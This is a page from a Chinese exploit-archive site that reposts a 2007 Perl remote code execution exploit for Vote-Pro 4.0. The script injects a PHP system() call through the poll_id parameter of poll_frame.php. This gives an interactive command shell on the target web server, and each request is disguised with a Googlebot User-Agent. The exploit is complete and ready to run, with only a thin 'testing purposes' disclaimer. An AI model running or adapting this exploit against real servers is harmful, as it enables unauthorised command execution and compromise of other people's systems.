首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Vote-Pro 4.0 (poll_frame.php poll_id) Remote Code Execution Exploit
来源:writ3r [at] gmail.com 作者:r0ut3r 发布时间:2007-01-24  

#################################################################################################
# r0ut3r Presents... #
# #
# Another r0ut3r discovery! #
# writ3r [at] gmail.com #
# #
# Vote-Pro Code Injection 0day Exploit #
#################################################################################################
# Software: Vote-Pro 4.0 #
# #
# Vendor: http://www.vote-pro.com/ #
# #
# Released: 2007/01/23 #
# #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com) #
# #
# Note: The information provided in this document is for Vote-Pro administrator #
# testing purposes only! #
#################################################################################################

use IO::Socket;

$port = "80"; # connection port
$target = shift; # vote-pro.com
$folder = shift; # /votepro/

sub Header()
{
print q
{Vote-Pro Code Injection Exploit - writ3r [at] gmail.com
-------------------------------------------------------
};
}

sub Usage()
{
print q
{
Usage: votecmd.pl [target] [directory]
Example: votecmd.pl vote-pro.com /votepro/
};
exit();
}

Header();

if (!$target || !$folder) {
Usage(); }

print "[+] Connecting...\n";
$cmd = "dir";
while ($cmd !~ "exit")
{
$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $xpack "GET ".$folder."poll_frame.php?poll_id=hyphy;system($_GET[com]);&com=".substr($cmd, 0, -1)."; HTTP/1.1\n";
print $xpack "Host: $target\n";
print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $xpack "Accept: text/html\n";
print $xpack "Connection: keep-alive\n\n";

print "[cmd]\$ ";
$cmd = <STDIN>;
$cmd =~ s/ /%20/g;
}

print "[!] Connection to host lost...\n";


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle 10g SYS.KUPV$FT.ATTACH_
·Mac OS X 10.4.8 (UserNotificat
·Oracle 10g SYS.KUPW$WORKER.MAI
·Sami HTTP Server 2.0.1 (HTTP 4
·Oracle 10g SYS.DBMS_CDC_IMPDP.
·PA168 Chipset IP Phones Weak S
·Microsoft Visual C++ (.RC Reso
·MS Windows Explorer (AVI) Unsp
·VisoHotlink 1.01 functions.vis
·Xero Portal (phpbb_root_path)
·Mac OS X 10.4.8 System Prefere
·Microsoft Excel Malformed Pale
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved